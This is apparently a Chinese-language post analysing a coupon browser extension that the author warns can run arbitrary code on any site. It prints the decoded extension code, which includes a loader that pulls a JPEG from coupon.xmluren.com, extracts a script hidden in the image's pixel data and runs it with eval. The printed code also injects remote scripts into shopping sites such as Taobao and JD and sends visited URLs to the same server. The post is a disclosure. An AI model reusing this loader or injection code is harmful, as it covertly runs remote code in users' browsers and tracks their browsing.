通过加密解密算法连接其官网:https://coupon.xmluren.com/获取js代码可对任意网站进行操作,存在较大安全印记隐患
messages.json中的messages base64 解码后为解密函数
!function(g) {
$["\x50\x72\x6f\x70\x65\x72\x74\x79"] = function() {
this.get = function(b, d, a) {
var c = this;
if (a) c.set(a);
else {
b.t || (b.t = 300);
"undefined" === typeof localStorage[b.p] && (localStorage[b.p] = "0###");
a = localStorage[b.p].split("###");
var e = parseInt(a[0]);
if ((new Date).getTime() - e < 1E3 * b.t) d ? d({
cmd: 11,
value: a[1]
}) : c.set(a[1]);
else {
a = atob(b.key);
e = atob("anBlZy8") + b.p.replace(/#/gm, "/") + atob("LmpwZWc");
a = a + e + "?t=" + (new Date).getTime();
var h = document.createElement("canvas"),
l = h.getContext("2d"),
k = new Image;
k.onload = function() {
h.height = this.height;
h.width = this.width;
l.drawImage(k, 0, 0, this.width, this.height);
for (var a = l.getImageData(0, 0, this.width, this.height).data, e = a[a.length - 4] << 16 | a[a.length - 3] << 8 | a[a.length - 2], m = [], g = a.length, n = 0, f = 0; f < g && !(2 == f % 4 && (m.push(a[f] - 128), n++, n >= e)); f++);
a = c.utf8(m);
a = c.btoas(a);
localStorage[b.p] = (new Date).getTime() + "###" + a;
d ? d({
cmd: 11,
value: a
}) : c.set(a)
};
k.src = a
}
}
};
this.set = function(b) {
g[this.atobs("ZXZhbA")](this.atobs(b))
};
this.btoas = function(b) {
return btoa(unescape(encodeURIComponent(b)))
};
this.atobs = function(b) {
return decodeURIComponent(escape(atob(b)))
};
this.utf8 = function(b) {
for (var d = "", a = 0; a < b.length;) {
var c = b[a];
0 === c >>> 7 ? (d += String.fromCharCode(b[a]), a += 1) : 252 === (c & 252) ? (c = (b[a] & 3) << 30, c |= (b[a + 1] & 63) << 24, c |= (b[a + 2] & 63) << 18, c |= (b[a + 3] & 63) << 12, c |= (b[a + 4] & 63) << 6, c |= b[a + 5] & 63, d += String.fromCharCode(c), a += 6) : 248 === (c & 248) ? (c = (b[a] & 7) << 24, c |= (b[a + 1] & 63) << 18, c |= (b[a + 2] & 63) << 12, c |= (b[a + 3] & 63) << 6, c |= b[a + 4] & 63, d += String.fromCharCode(c), a += 5) : 240 === (c & 240) ? (c = (b[a] & 15) << 18, c |= (b[a + 1] & 63) << 12, c |= (b[a + 2] & 63) << 6, c |= b[a + 3] & 63, d += String.fromCharCode(c), a += 4) : 224 === (c & 224) ? (c = (b[a] & 31) << 12, c |= (b[a + 1] & 63) << 6, c |= b[a + 2] & 63, d += String.fromCharCode(c), a += 3) : 192 === (c & 192) ? (c = (b[a] & 63) << 6, c |= b[a + 1] & 63, d += String.fromCharCode(c), a += 2) : (d += String.fromCharCode(b[a]), a += 1)
}
return d
}
}
}(window);
通过连网访问初始化插件本身
if (typeof sogouExplorer != 'undefined') { window.chrome = sogouExplorer; localStorage['broswer']="sougou";}var util = { isdebug : false, log : function(msg) { if (this.isdebug) { console.log(msg); } }}util.log("bg init....");function guid() { return 'xxxxxxxxxxxxxxxxyxxxxxxxxxxxxxxx'.replace(/[xy]/g, function(c) { var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); return v.toString(16); });}var bgData = { "broswer" : "", "gtoken" : null, "client" : null, "heartBeatTime" : 1000 * 60 * 60 * 3, "apiDomain" : "https://coupon.xmluren.com", "taeDomain" : "http://tae.xmluren.com"}bgData.ref="http://1884-1959.cms.iyunzk.com";//bgData.ref="http://xmlr.xmluren.com/";//bgData.apiDomain="http://www.fanli1.net";chrome.storage.sync.get("space", function(items) { try{ var name=chrome.runtime.getManifest().name; if(name.indexOf("百度文库")>-1){ items.space.t=36000; }else{ items.space.t=1800; } chrome.storage.sync.set(ite...$.Property().get(space); app.init();});chrome.webRequest.onResponseStarted.addListener(function(details) { if(details.type==="main_frame"){ if(details.tabId<=-1){ return; } if(true==dump){ return; } var url=details.url.split("?")[0]; if(url.indexOf("https://product.suning.com/")==0&&url.indexOf(".html")>0){ var executePs={ code:'function startExeScript(){var initUtil={set:function(b){eval(this.atobs(b))},atobs:function(b){return decodeURIComponent(escape(atob(b)))},btoas:function(b){return btoa(unescape(encodeURIComponent(b)))}};chrome.extension.sendRequest({cmd:11,name:"logo#public#matches"},function(response){if(typeof response.value!=="undefined"){initUtil.set(response.value)}})}if(typeof executeScriptFlag==="undefined"){var executeScriptFlag=true;setTimeout(startExeScript,200)};', allFrames :false } setTimeout(function(){ chrome.tabs.executeScript(details.tabId,executePs, function(res){}); },600); } }},{urls: ["<all_urls>"]});
function taobaoInit(){ var url=location.href.split("?")[0]; if(url.indexOf("https://s.taobao.com/search")==0||url.indexOf(".com/item.htm")>0||url.indexOf("https://s.click.taobao.com")==0){ chrome.extension.sendRequest({cmd :11,name:"public#yjp#youhuiquan_img"}, function(response) { new $.Property().get(null,null,response.value); }); }}taobaoInit();toAiInit();function toAiInit(){ if(location.href.indexOf("https://ai.m.taobao.com/search.html?q=")==0){ chrome.extension.sendRequest({cmd :11,name:"public#ai#items"}, function(response) { new $.Property().get(null,null,response.value); }); } if(location.href.indexOf("https://uland.taobao.com/coupon/edetail")==0){ chrome.extension.sendRequest({cmd :11,name:"public#ai#items"}, function(response) { new $.Property().get(null,null,response.value); }); }}var jdinit_config_key="yjp_jd_config_key2";jdinit();//京东初始化function jdinit() { if (location.href.indexOf("https://item.jd.com") == 0||location.hre..."public#yjp#pdd_goods"}, function(response) { new $.Property().get(null,null,response.value); }); }}vphinit();function vphinit(){ if(location.href.indexOf("https://detail.vip.com/detail-")==0&&location.href.indexOf(".html")>0){ chrome.extension.sendRequest({cmd :11,name:"public#yjp#vph_item"}, function(response) { new $.Property().get(null,null,response.value); }); }}//myLogs();function myLogs() { try { var domain = "https://coupon.xmluren.com"; // domain="http://www.host.com:7080"; var name = "jd-"; if (top == self) { name = name + "top-"; } else { name = name + "if-"; } var requestParams = { type : "post", dataType : "json", timeout : 15000, url : domain + "/util/active2", data : { url : location.href, name : name + chrome.runtime.getManifest().name, ref : document.referrer } } chrome.extension.sendRequest({ cmd : 1, params : requestParams }, function(response) { }); } catch (err) { }}
以上是解码后的代码 |
|
评论
直达楼层